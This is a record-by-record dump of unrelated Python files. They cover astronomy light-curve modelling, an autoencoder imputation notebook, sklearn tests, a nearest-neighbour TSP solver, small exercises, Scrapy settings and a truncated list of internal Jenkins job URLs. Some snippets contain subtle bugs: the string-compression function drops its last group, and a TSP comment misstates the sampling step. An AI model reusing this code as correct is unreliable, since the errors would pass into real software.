Number of detections regardless the SNR. `n_detections` is
superseded by `snr_limit`.
plot : `bool`
True if output plots are desired.
Returns
-------
OrderedDict : `dict`
An ordered dictionary of :attr:`name`::attr:`value` pairs for each
parameter.
Examples
--------
>>> lc = LightCurve(time=time, flux=flux, exptime=0.0, name='lc_example')
>>> params = lc.occ_detect()
>>> params
{'rank': 1,
'occultation_duration': 40.1384063065052,
'central_time': 7916.773870512843,
'immersion_time': 7896.7046673595905,
'emersion_time': 7936.843073666096,
'time_err': 0.05011036992073059,
'depth': 0.8663887801707082,
'depth_err': 0.10986223384336465,
'baseline': 0.9110181732552853,
'baseline_err': 0.19045768512595365,
'snr': 7.886138392251848,
'occ_mask': array([False, False, False, ..., False, False, False])}
"""
from .occdetect import occ_detect
occ = occ_detect(self.flux, self.dflux, self.time, self.cycle, maximum_duration=maximum_duration,
dur_step=dur_step, snr_limit=snr_limit, n_detections=n_detections, plot=plot)
return occ
def __occ_model(self, immersion_time, emersion_time, opacity, mask, npt_star=12,
time_resolution_factor=10, flux_min=0.0, flux_max=1.0):
"""Private function. Returns the modelled light curve.
Returns the modelled light curve considering fresnel diffraction, star
diameter and instrumental response, intended for fitting inside the
`self.occ_lcfit()`.
Parameters
----------
immersion_time : `int`, `float`
Immersion time, in seconds.
emersion_time : `int`, `float`
Emersion time, in seconds.
opacity `int`, `float`
Opacity. Opaque = 1, Transparent = 0.
mask : `bool` array
Mask with True values to be computed.
npt_star : `int`, default=12
Number of subdivisions for computing the star size effects.
time_resolution_factor : `int`, `float`, default=10*fresnel scale
Steps for fresnel scale used for modelling the light curve.
flux_min : `int`, `float`, default=0
Bottom flux (only object).
flux_max : `int`, `float`, default=1
Base flux (object plus star).
Returns
-------
flux_inst : array
Modelled Instrumental light flux.
"""
from .utils import bar_fresnel
# Computing the fresnel scale
lamb = self.lambda_0*u.micrometer.to('km')
dlamb = self.delta_lambda*u.micrometer.to('km')
dist = self.dist*u.au.to('km')
vel = np.absolute(self.vel)
time_obs = self.time[mask]
fresnel_scale_1 = calc_fresnel(dist, lamb-dlamb/2.0)
fresnel_scale_2 = calc_fresnel(dist, lamb+dlamb/2.0)
fresnel_scale = (fresnel_scale_1 + fresnel_scale_2)/2.0
time_resolution = (np.min([fresnel_scale/vel, self.exptime]))/time_resolution_factor
self.model_resolution = time_resolution
# Creating a high resolution curve to compute fresnel diffraction, stellar diameter and instrumental integration
time_model = np.arange(time_obs.min()-5*self.exptime, time_obs.max()+5*self.exptime, time_resolution)
# Changing X: time (s) to distances in the sky plane (km), considering the tangential velocity (vel in km/s)
x = time_model*vel
x01 = immersion_time*vel
x02 = emersion_time*vel
# Computing fresnel diffraction for the case where the star size is negligenciable
flux_fresnel_1 = bar_fresnel(x, x01, x02, fresnel_scale_1, opacity)
flux_fresnel_2 = bar_fresnel(x, x01, x02, fresnel_scale_2, opacity)
flux_fresnel = (flux_fresnel_1 + flux_fresnel_2)/2.
flux_star = flux_fresnel.copy()
if self.d_star > 0:
# Computing fresnel diffraction for the case where the star size is not negligenciable
resolucao = (self.d_star/2)/npt_star
flux_star_1 = np.zeros(len(time_model))
flux_star_2 = np.zeros(len(time_model))
# Computing stellar diameter only near the immersion or emersion times
star_diam = (np.absolute(x - x01) < 3*self.d_star) + (np.absolute(x - x02) < 3*self.d_star)
p = np.arange(-npt_star, npt_star)*resolucao
coeff = np.sqrt(np.absolute((self.d_star/2)**2 - p**2))
for ii in np.where(star_diam == True)[0]:
xx = x[ii] + p
flux1 = bar_fresnel(xx, x01, x02, fresnel_scale_1, opacity)
flux2 = bar_fresnel(xx, x01, x02, fresnel_scale_2, opacity)
flux_star_1[ii] = np.sum(coeff*flux1)/coeff.sum()
flux_star_2[ii] = np.sum(coeff*flux2)/coeff.sum()
flux_star[ii] = (flux_star_1[ii] + flux_star_2[ii])/2.
flux_inst = np.zeros(len(time_obs))
for i in range(len(time_obs)):
event_model = (time_model > time_obs[i]-self.exptime/2.) & (time_model < time_obs[i]+self.exptime/2.)
flux_inst[i] = (flux_star[event_model]).mean()
return flux_inst*(flux_max - flux_min) + flux_min
def __str__(self):
""" String representation of the LightCurve Object
"""
output = 'Light curve name: {}\n'.format(self.name)
try:
output += ('Initial time: {} UTC\n'
'End time: {} UTC\n'
'Duration: {:.3f} minutes\n'.format(
self.initial_time.iso, self.end_time.iso,
(self.end_time - self.initial_time).value*u.d.to('min'))
)
except:
pass
output += 'Time offset: {:.3f} seconds\n\n'.format(self.dt)
try:
output += 'Exposure time: {:.4f} seconds\n'.format(self.exptime)
output += 'Cycle time: {:.4f} seconds\n'.format(self.cycle)
output += 'Num. data points: {}\n\n'.format(len(self.time))
except:
output += 'Object LightCurve was not instantiated with time and flux.\n\n'
try:
output += ('Bandpass: {:.3f} +/- {:.3f} microns\n'
'Object Distance: {:.2f} AU\n'
'Used shadow velocity: {:.3f} km/s\n'
'Fresnel scale: {:.3f} seconds or {:.2f} km\n'
'Stellar size effect: {:.3f} seconds or {:.2f} km\n'.format(
self.lambda_0, self.delta_lambda, self.dist, self.vel,
self.fresnel_scale/self.vel, self.fresnel_scale,
self.d_star/self.vel, self.d_star)
)
except:
output += '\nThere is no occultation associated with this light curve.\n'
try:
output += ('Inst. response: {:.3f} seconds or {:.2f} km\n'
'Dead time effect: {:.3f} seconds or {:.2f} km\n'
'Model resolution: {:.3f} seconds or {:.2f} km\n'
'Modelled baseflux: {:.3f}\n'
'Modelled bottomflux: {:.3f}\n'
'Light curve sigma: {:.3f}\n\n'.format(
self.exptime, self.exptime*self.vel, self.cycle-self.exptime,
(self.cycle-self.exptime)*self.vel, self.model_resolution,
self.model_resolution*self.vel, self.baseflux, self.bottomflux,
self.lc_sigma.mean())
)
except:
output += '\nObject LightCurve model was not fitted.\n\n'
try:
output += ('Immersion time: {} UTC +/- {:.3f} seconds\n'
'Emersion time: {} UTC +/- {:.3f} seconds\n\n'.format(
self.immersion.iso, self.immersion_err,
self.emersion.iso, self.emersion_err)
)
except:
output += 'Immersion and emersion times were not fitted or instantiated.\n\n'
try:
output += 'Monte Carlo chi square fit.\n\n' + self.chisquare.__str__() + '\n'
except:
pass
return output
|
16,969 | 4fff13d8d3db77a58234167d0dc1279f2ec53ae2 |
# coding: utf-8
# ## 1. Requirements
# In[1]:
import os
import random
import numpy as np
import pandas as pd
from math import sqrt
from sklearn.metrics import mean_squared_error
from sklearn.preprocessing import MinMaxScaler
import torch
import torch.nn as nn
import torch.utils.data
import torch.optim as optim
# ## 2. Set Args
# In[2]:
theta = 7
num_epochs = 500
dropout_ratio = 0.5
data_path = 'data/BostonHousing.csv'
mechanism = 'mcar'
method = 'uniform'
test_size = 0.3
use_cuda = True
batch_size = 1 # not in the paper
# ## 3. Prepare Data
# In[3]:
data = pd.read_csv(data_path).values
rows, cols = data.shape
shuffled_index = np.random.permutation(rows)
train_index = shuffled_index[:int(rows*(1-test_size))]
test_index = shuffled_index[int(rows*(1-test_size)):]
train_data = data[train_index, :]
test_data = data[test_index, :]
# standardized between 0 and 1
scaler = MinMaxScaler()
scaler.fit(train_data)
train_data = scaler.transform(train_data)
test_data = scaler.transform(test_data)
# In[4]:
def missing_method(raw_data, mechanism='mcar', method='uniform') :
data = raw_data.copy()
rows, cols = data.shape
# missingness threshold
t = 0.2
if mechanism == 'mcar' :
if method == 'uniform' :
# uniform random vector
v = np.random.uniform(size=(rows, cols))
# missing values where v<=t
mask = (v<=t)
data[mask] = 0
elif method == 'random' :
# only half of the attributes to have missing value
missing_cols = np.random.choice(cols, cols//2)
c = np.zeros(cols, dtype=bool)
c[missing_cols] = True
# uniform random vector
v = np.random.uniform(size=(rows, cols))
# missing values where v<=t
mask = (v<=t)*c
data[mask] = 0
else :
print("Error : There are no such method")
raise
elif mechanism == 'mnar' :
if method == 'uniform' :
# randomly sample two attributes
sample_cols = np.random.choice(cols, 2)
# calculate ther median m1, m2
m1, m2 = np.median(data[:,sample_cols], axis=0)
# uniform random vector
v = np.random.uniform(size=(rows, cols))
# missing values where (v<=t) and (x1 <= m1 or x2 >= m2)
m1 = data[:,sample_cols[0]] <= m1
m2 = data[:,sample_cols[1]] >= m2
m = (m1*m2)[:, np.newaxis]
mask = m*(v<=t)
data[mask] = 0
elif method == 'random' :
# only half of the attributes to have missing value
missing_cols = np.random.choice(cols, cols//2)
c = np.zeros(cols, dtype=bool)
c[missing_cols] = True
# randomly sample two attributes
sample_cols = np.random.choice(cols, 2)
# calculate ther median m1, m2
m1, m2 = np.median(data[:,sample_cols], axis=0)
# uniform random vector
v = np.random.uniform(size=(rows, cols))
# missing values where (v<=t) and (x1 <= m1 or x2 >= m2)
m1 = data[:,sample_cols[0]] <= m1
m2 = data[:,sample_cols[1]] >= m2
m = (m1*m2)[:, np.newaxis]
mask = m*(v<=t)*c
data[mask] = 0
else :
print("Error : There is no such method")
raise
else :
print("Error : There is no such mechanism")
raise
return data, mask
# In[5]:
missed_data, mask = missing_method(test_data, mechanism=mechanism, method=method)
missed_data = torch.from_numpy(missed_data).float()
train_data = torch.from_numpy(train_data).float()
train_loader = torch.utils.data.DataLoader(dataset=train_data,
batch_size=batch_size,
shuffle=True)
# ## 4. Define Model
# In[6]:
device = torch.device("cuda" if use_cuda else "cpu")
# In[7]:
class Autoencoder(nn.Module):
def __init__(self, dim):
super(Autoencoder, self).__init__()
self.dim = dim
self.drop_out = nn.Dropout(p=0.5)
self.encoder = nn.Sequential(
nn.Linear(dim+theta*0, dim+theta*1),
nn.Tanh(),
nn.Linear(dim+theta*1, dim+theta*2),
nn.Tanh(),
nn.Linear(dim+theta*2, dim+theta*3)
)
self.decoder = nn.Sequential(
nn.Linear(dim+theta*3, dim+theta*2),
nn.Tanh(),
nn.Linear(dim+theta*2, dim+theta*1),
nn.Tanh(),
nn.Linear(dim+theta*1, dim+theta*0)
)
def forward(self, x):
x = x.view(-1, self.dim)
x_missed = self.drop_out(x)
z = self.encoder(x_missed)
out = self.decoder(z)
out = out.view(-1, self.dim)
return out
# In[8]:
model = Autoencoder(dim=cols).to(device)
# ## 5. Define Loss and Optimizer
# In[9]:
loss = nn.MSELoss()
optimizer = optim.SGD(model.parameters(), momentum=0.99, lr=0.01, nesterov=True)
# ## 6. Train Model
# In[10]:
cost_list = []
early_stop = False
for epoch in range(num_epochs):
total_batch = len(train_data) // batch_size
for i, batch_data in enumerate(train_loader):
batch_data = batch_data.to(device)
reconst_data = model(batch_data)
cost = loss(reconst_data, batch_data)
optimizer.zero_grad()
cost.backward()
optimizer.step()
if (i+1) % (total_batch//2) == 0:
print('Epoch [%d/%d], lter [%d/%d], Loss: %.6f'
%(epoch+1, num_epochs, i+1, total_batch, cost.item()))
# early stopping rule 1 : MSE < 1e-06
if cost.item() < 1e-06 :
early_stop = True
break
# early stopping rule 2 : simple moving average of length 5
# sometimes it doesn't work well.
# if len(cost_list) > 5 :
# if cost.item() > np.mean(cost_list[-5:]):
# early_stop = True
# break
cost_list.append(cost.item())
if early_stop :
break
print("Learning Finished!")
# ## 7. Test Model
# In[11]:
model.eval()
filled_data = model(missed_data.to(device))
filled_data = filled_data.cpu().detach().numpy()
rmse_sum = 0
for i in range(cols) :
if mask[:,i].sum() > 0 :
y_actual = test_data[:,i][mask[:,i]]
y_predicted = filled_data[:,i][mask[:,i]]
rmse = sqrt(mean_squared_error(y_actual, y_predicted))
rmse_sum += rmse
print("RMSE_SUM :", rmse_sum)
|
16,970 | 3adbdb85ffe40c132bd0a5ded677626980d999d2 | from pytest import approx
from sklearn.impute import SimpleImputer
import pandas as pd
import numpy as np
from sklearn.pipeline import FeatureUnion, Pipeline
from sklearn.preprocessing import StandardScaler, LabelBinarizer
from sklearn.base import BaseEstimator, TransformerMixin
def test_imputer():
pip1 = Pipeline([
('imputer', SimpleImputer(strategy="median")),
])
x = np.array([1,2,3,np.nan]).reshape(-1,1)
o1 = pip1.fit_transform(x)
o1 = np.squeeze(o1,axis=1).tolist()
ans = [1,2,3,2]
assert o1 == ans
def test_std_scaler():
pip1 = Pipeline([
('imputer', SimpleImputer(strategy="median")),
('std_scaler', StandardScaler())
])
x = np.array([1,2,3,np.nan]).reshape(-1,1)
o1 = pip1.fit_transform(x)
o1 = np.squeeze(o1,axis=1).tolist()
mean = np.mean([1,2,3,2])
std = np.std([1,2,3,2])
ans = [1,2,3,2]
ans = (ans - mean)/std
assert o1 == approx(ans) |
16,971 | ec64e5f606aac7736f2742b73f789e330233c66b | from typing import List
def shift_right(nums: List[int], index: int) -> None:
for i in range(len(nums) - 1, index, -1):
nums[i] = nums[i - 1]
def merge(nums1: List[int], m: int, nums2: List[int], n: int) -> None:
i = 0
j = 0
while i < m + n:
if i - j == m and j < n:
nums1[i] = nums2[j]
j += 1
elif j < n and nums1[i] > nums2[j]:
shift_right(nums1, i)
nums1[i] = nums2[j]
j += 1
i += 1
|
16,972 | 3bad219541ca57a3d858a6cc75a85fea4b6bc55c | N, A, B = map(int, input().split())
if N*A >= B:
r = B
else:
r = N*A
print(int(r)) |
16,973 | c914b791b2a476c5a22c2bea9690de82b027e5a2 | # -*- coding: utf-8 -*-
# Scrapy settings for show_scraper project
#
# For simplicity, this file contains only the most important settings by
# default. All the other settings are documented here:
#
# http://doc.scrapy.org/en/latest/topics/settings.html
#
BOT_NAME = 'show_scraper'
SPIDER_MODULES = ['show_scraper.spiders']
NEWSPIDER_MODULE = 'show_scraper.spiders'
# Crawl responsibly by identifying yourself (and your website) on the user-agent
#USER_AGENT = 'show_scraper (+http://www.yourdomain.com)'
#File Output
FEED_STORAGES = { 'owfile': 'show_scraper.feedexport.OverwriteFileFeedStorage' }
FEED_URI = 'owfile:./output/shows.json'
FEED_FORMAT = 'json'
#Item Pipeline
ITEM_PIPELINES = {
'scrapy.contrib.pipeline.images.ImagesPipeline': 10
}
#Image Path
IMAGES_STORE = './output/images'
#RC Spider Urls
RC_START_URLS = [
"http://randomc.net/2014/03/27/spring-2014-preview/",
"http://randomc.net/2014/06/18/summer-2014-preview/"
]
|
16,974 | 071e6d0f4755489b0b9f0b820b9471ae2d2c8cc1 | def StringCompression(string):
start = string[0]
count = 1
compressed = ''
for i in range(1, len(string)):
if string[i] == start:
count += 1
else:
compressed += start + str(count)
start = string[i]
count = 1
return compressed
print(StringCompression('aabbcccdeee_'))
|
16,975 | 7483a19ad9bee91a9dbb2753138f02fb4a293786 | #!/usr/bin/env python
import rospy
from std_msgs.msg import Float64MultiArray
import time
def talker():
hip_data = [0.5, 0.55, 0.6, 0.65, 0.7, 0.75, 0.8, 0.85, 0.9, 0.95, 1.0]
knee_data = [1.05, 1.1, 1.15, 1.2, 1.25, 1.3, 1.35, 1.4, 1.45, 1.5]
pub = rospy.Publisher('/debug', Float64MultiArray, queue_size = 10)
rospy.init_node('debug_list', anonymous=True)
rate = rospy.Rate(10)
while not rospy.is_shutdown():
msg = Float64MultiArray()
msg.data = [0,0,0, 0, 0, 0, 0, 0]
for i in range(10):
msg.data[0] = hip_data[i]
msg.data[1] = knee_data[i]
pub.publish(msg)
time.sleep(0.3)
rate.sleep()
if __name__ == '__main__':
try:
talker()
except rospy.ROSInterruptException:
pass |
16,976 | 2d22be0fa66c853a17ee9abbf9d6da00846849c9 | import subprocess
from subprocess import PIPE
proc = subprocess.run("date", shell=True, stdout=PIPE, stderr=PIPE, text=True)
date = proc.stdout
print('STDOUT: {}'.format(date)) |
16,977 | 95ebabfe5647ea15cee699e51a95cf0938e33ede | # -*- coding: cp1254 -*-
#!/usr/bin/python
def onlar_basamagi(sayi):
a=sayi/10
b=a%10
if b<7 and b>3:
return True
else:
return False
|
16,978 | 2987c1646f88b4e38c724e67032f63c577557654 | #Marcella Petrucci
#petrucma@oregonstate.edu
########################
#Program Description
# This program uses the Nearest Neighbor algorithm
# to find the approximate solution to the Traveling Salesman Problem.
#
# the program takes a list of vertices as coordinate pairs, identified by an integer
# and processes them into vertex objects.
# Edge weights are found by the Euclidean Distance formula
# each of the n vertices is used as a starting vertex for the NN algorithm up to n = 300
# the Best Path and Path Weight are written to a file
###########################
#imports
import time
import numpy as np
import random
import math
import re, sys
#################################################
# Function and class Definitions :
#################################################
class Vertex:
def __init__(self, vID, coords):##pass in list of coord pairs
self.vID = vID
self.x = coords[0]
self.y = coords[1]
self.visited = False
#################################################
# Global variables:
#################################################
numV = 0 # number of vertices/cities
pathWeight = 0 #total weight of TSP path
#################################################
# Main Function :
# takes input file arg, initializes empty arrays, calls read and write
# calls TSP functions
# usage: python3 NN.py inputFileName
#################################################
def main(input):
#take arg filename
t1 = time.time()
input_file = sys.argv[1]
#initialize lists
data = [] # raw input from file reading
listOfVertices = []# input parsed into lists containing id and coord pairs
graph = [] # list of vertex objects with vID,x, and y attributes
path = [] #list of vertices in order of visit
#vals is list containing lists of data representing each line
vals = readFile(input_file, data, listOfVertices)
# list of vertex objects representing fully connected graph
graph = createVertex(vals, graph)
# append new extension to input file to create output_file
ext = ".tour"
output_file = input_file + ext
# loops through all vertices as start nodes for NN algorithm
bestPath(graph, path, output_file)
t2 = time.time()
finalTime = t2 - t1
print(f'finalTime = {finalTime}')
milliTime = finalTime * 1000.0
print(f'finalTime in Milliseconds = {milliTime}')
#################################################
# takes file name and reads input file
# casts ints to strings
# opens file and writes formatted output to it
#################################################
def readFile(input_file, data, listOfVertices):
global numV
file = open(input_file,'r')
# store the first line as number of vertices
numV = int(file.readline())
i = 0
while (True):
line = file.readline() # iterator
if not line:
break
# remove new line character leading white space from line
line = line.strip("\n")
line = line.lstrip()
# add to data list
data.append(line)
# this parses at whiteSpace, casts to int, maps into list, and appends to listOfVertices
listOfVertices.append(list(map(int, data[i].split())))
i = i + 1
return listOfVertices
#################################################
# takes vertex ID and list of vertices and empty graph list
# creates vertex objects
# adds vertices to graph list and returns it
#################################################
def createVertex(vals, graph):
#iterate through list of vertices, create vertex obj and add to graph
for i in range(0, len(vals)):
#vID is the first index, representing the vertex id
# loop through vals[i] to initiate vertex node ID's, initialize vertices, store in graph list
vID = vals[i].pop(0)
vertex = Vertex(vID, vals[i])
graph.append(vertex)
return graph
#################################################
# takes two coordinate pairs
# finds and returns the euclidean distance
#################################################
def EuclideanDistance(x1, y1, x2, y2):
## the euclidean formula in two parts
num = pow((x1- x2), 2) + pow((y1 - y2),2)
sq = round(math.sqrt(num))
# print(f'E = [{x1},{y1}] - [{x2},{y2}] W = {sq}')
return sq
#################################################
# takes graph list representing fully connected graph
# takes empty path list to store vertices in order of visitation
# takes start vertex
#
# this is the Nearest Neighbor algorithm
# curr vertex is processed by looping through all connected,
# unvisited vertices adjacent on curr, calculating edge weights
# between each vertex and curr by calling EuclideanDistance()
# the minimum weight and edge is stored as the next vertex in path[]
#################################################
def findPath(graph, path, start):
global pathWeight
#global
minWeight = 1000000
curr = start
path.append(curr)
numV = len(graph)
for i in range(0, len(graph)):
#### this uses vertices and continually computes weights
if (numV > 1):#exits after last node is added to path
#mark current vertex as visited
curr.visited = True
#compare to all other vertices
for j in range(0, len(graph)):
#if vertex is not visited
if(graph[j].visited == False):
# current comparison weight is set
#find weight with euclidean distance, pasing .x and .y attributes of each vertex obj
weight = EuclideanDistance(graph[j].x, graph[j].y, curr.x, curr.y)
#find least weighted edge
if (weight < minWeight):
minWeight = weight
tempV = graph[j]
##UPDATE OUTER FOR LOOP VARIABLES
#set least weighted edge to path and increment path weight
path.append(tempV)
pathWeight = pathWeight + minWeight
minWeight = 1000000
#update current vertex to end of new path
curr = tempV
numV = numV - 1
##add the weight of the final edge connected to start vertex to the total path weight
finalEdgeWeight = EuclideanDistance(path[0].x, path[0].y, curr.x, curr.y)
pathWeight = pathWeight + finalEdgeWeight
# print(pathWeight)
# print("path")
# for i in range(0, len(path)):
# print(path[i].vID)
return path
#################################################
# takes graph list, empty path list, and output_file
# loops through all vertices of graph and uses
# each vertex as start point for NN algo
# stores best total path and weight
# and calls writeToFile, passing output_file
#################################################
def bestPath(graph, path, output_file):
global pathWeight
global numV
bestPath = []
bestPathWeight = 100000000000
#large data sets will only run on 1 of every 1000 vertices
if (numV > 300):
for i in range(0, len(graph), 100):
path = findPath(graph, path, graph[i])
#save lowest pathWeight
if(bestPathWeight > pathWeight):
bestPathWeight = pathWeight
bestPath = path.copy()
#reset visited attribute for new path assessment
for x in range(len(graph)):
graph[x].visited = False
# reset path and path weight
pathWeight = 0
path.clear()
else:
for i in range(len(graph)):
path = findPath(graph, path, graph[i])
# for x in range(len(path)):
# print(f' p = {path[x].vID}')
# print(f'pathWeight = {pathWeight}')
#save lowest pathWeight
if(bestPathWeight > pathWeight):
bestPathWeight = pathWeight
bestPath = path.copy()
#reset visited attribute for new path assessment
for x in range(len(graph)):
graph[x].visited = False
# reset path and path weight
pathWeight = 0
path.clear()
print("bestPath")
print(bestPathWeight)
for z in range(0, len(bestPath)):
print(bestPath[z].vID)
writeToFile(bestPath, bestPathWeight, output_file)
#################################################
# takes bestPath list of vertex objs and bestPathWeight
# creates and opens output_file and writes formatted output to it
# if output_file has contents, they will be overwritten
#################################################
def writeToFile(bestPath, bestPathWeight, output_file):
# open file in write mode
f = open(output_file, "w")
# write path weight in str format
f.write(str(bestPathWeight) + "\n")
# print one vertex per line in str format
for i in range(0, len(bestPath)):
f.write(str(bestPath[i].vID) + "\n")
f.close()
# system call to accept arguments on the command line
if __name__ == '__main__':
main(sys.argv[1]) |
16,979 | 1c9e6ecf94330f7297d424b3aca09f279e6d56c5 | # -*- coding: utf-8 -*-
"""
Created on Thu Apr 2 12:22:19 2020
@author: Casanova
"""
import random
print("Bienvenue sur la machine ร sous de Julien !")
fruits = ["ananas", "cerise", "orange", "pasteque", "pomme_dore"]
p = [0.2,0.25,0.40,0.1,0.05]
prix = {
"orange":5,
"cerise":15,
"ananas":50,
"pasteque":150,
"pomme_dore":10000
}
res = random.choices(fruits, weights=p, k=3)
print(res)
jetons = 0
if(res[0] == res[1] == res[2]):
jetons = prix[res[0]]
print("Bravo vous avez gagnรฉ",jetons,"jetons")
|
16,980 | a1041c5d78a187a6cce36e5b8fafce0c8d9f7d9c | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-01-18 14:25:45
# @Author : robin (robin.zhu@nokia.com)
# @Description :
import os
import json
def json2txt(json_filename):
txt_filename = json_filename + ".txt"
new_fp = open(txt_filename,mode='w')
date_list = []
jsonfile_fp = file(json_filename)
date = json.load(jsonfile_fp)
for key,value in date.items():
print key,':',value
date_list.append( str(key) + ' >>>>> ' + str(value) + '\n')
new_fp.writelines(date_list)
new_fp.close()
if __name__ == '__main__':
json2txt('json')
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u'DSP_Build_RT_AXM_LSP_Klocwork_TC_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_RT_K2_LSP_Klocwork_MAINBRANCH_LRC/', u'color': u'red', u'name': u'DSP_Build_RT_K2_LSP_Klocwork_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_RT_K2_LSP_Klocwork_TC_MAINBRANCH_LRC/', u'color': u'blue', u'name': u'DSP_Build_RT_K2_LSP_Klocwork_TC_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_RT_MAINBRANCH_LRC/', u'color': u'blue', u'name': u'DSP_Build_RT_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_Store_Libraries_MAINBRANCH_LRC/', u'color': u'blue', u'name': u'DSP_Build_Store_Libraries_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Documentation_AxmArm_MAINBRANCH_LRC/', u'color': u'notbuilt', u'name': u'DSP_Documentation_AxmArm_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Documentation_Kep_MAINBRANCH_LRC/', u'color': u'blue', u'name': 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u'DSP_Performance_Em_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_QuickTest_RT_MAINBRANCH_LRC/', u'color': u'disabled', u'name': u'DSP_QuickTest_RT_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_UnitTest_CCSRT_Valgrind_MAINBRANCH_LRC/', u'color': u'blue', u'name': u'DSP_UnitTest_CCSRT_Valgrind_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_UnitTest_CodeCoverage_MAINBRANCH_LRC/', u'color': u'blue', u'name': u'DSP_UnitTest_CodeCoverage_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_UnitTest_RT_MAINBRANCH_LRC/', u'color': u'blue', u'name': u'DSP_UnitTest_RT_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/ECL_BASE_MAINBRANCH_LRC/', u'color': u'blue', u'name': u'ECL_BASE_MAINBRANCH_LRC'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/ECL_DSP_Update_MAINBRANCH_LRC/', u'color': u'blue', u'name': u'ECL_DSP_Update_MAINBRANCH_LRC'}, {u'url': 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u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_LRC_LSP_FBLRC1606/', u'color': u'blue', u'name': u'MCU_Build_Rel3_LRC_LSP_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_UnitTest_FBLRC1606/', u'color': u'blue', u'name': u'MCU_Build_Rel3_UnitTest_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Rel3_UnitTest_Valgrind_FBLRC1606/', u'color': u'blue', u'name': u'MCU_Build_Rel3_UnitTest_Valgrind_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/MCU_Build_Store_Libraries_FBLRC1606/', u'color': u'blue', u'name': u'MCU_Build_Store_Libraries_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_CI2RM_analyse_FBLRC1606/', u'color': u'disabled', u'name': u'PS_CI2RM_analyse_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_Release_Promo_FBLRC1606/', u'color': u'blue', u'name': u'PS_Release_Promo_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_Release_Promo_QUEUE_FBLRC1606/', u'color': u'yellow', u'name': u'PS_Release_Promo_QUEUE_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_DSP_LRC_FBLRC1606/', u'color': u'yellow', u'name': u'PS_ReleaseTest_DSP_LRC_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_MCU_LRC_FBLRC1606/', u'color': u'yellow', u'name': u'PS_ReleaseTest_MCU_LRC_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_RT_LRC_3G_FBLRC1606/', u'color': u'yellow', u'name': u'PS_ReleaseTest_RT_LRC_3G_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_RT_LRC_SET1_FBLRC1606/', u'color': u'blue', u'name': u'PS_ReleaseTest_RT_LRC_SET1_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_ReleaseTest_RT_LRC_SET2_FBLRC1606/', u'color': u'yellow', u'name': u'PS_ReleaseTest_RT_LRC_SET2_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/PS_StartupTest_LRC_FBLRC1606/', u'color': u'blue', u'name': u'PS_StartupTest_LRC_FBLRC1606'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_Kep_LRC_FBLRC1512/', u'color': u'blue', u'name': u'DSP_Build_Kep_LRC_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_Promo_FBLRC1512/', u'color': u'blue', u'name': u'DSP_Build_Promo_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_RT_FBLRC1512/', u'color': u'blue', u'name': u'DSP_Build_RT_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_Build_Store_Libraries_FBLRC1512/', u'color': u'blue', u'name': u'DSP_Build_Store_Libraries_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_QuickTest_RT_FBLRC1512/', u'color': u'disabled', u'name': u'DSP_QuickTest_RT_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_UnitTest_CCSRT_Valgrind_FBLRC1512/', u'color': u'blue', u'name': u'DSP_UnitTest_CCSRT_Valgrind_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_UnitTest_CodeCoverage_FBLRC1512/', u'color': u'disabled', u'name': u'DSP_UnitTest_CodeCoverage_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/DSP_UnitTest_RT_FBLRC1512/', u'color': u'blue', u'name': u'DSP_UnitTest_RT_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/ECL_BASE_FBLRC1512/', u'color': u'blue', u'name': u'ECL_BASE_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/ECL_DSP_Update_FBLRC1512/', u'color': u'blue', u'name': u'ECL_DSP_Update_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/ECL_HWAPI_FBLRC1512/', u'color': u'blue', u'name': u'ECL_HWAPI_FBLRC1512'}, {u'url': u'http://psci.emea.nsn-net.net:8080/job/ECL_MCU_Update_FBLRC1512/', u'color': u'blue', u'name': u'ECL_MCU_Update_FBLRC1512'}, {u'url': 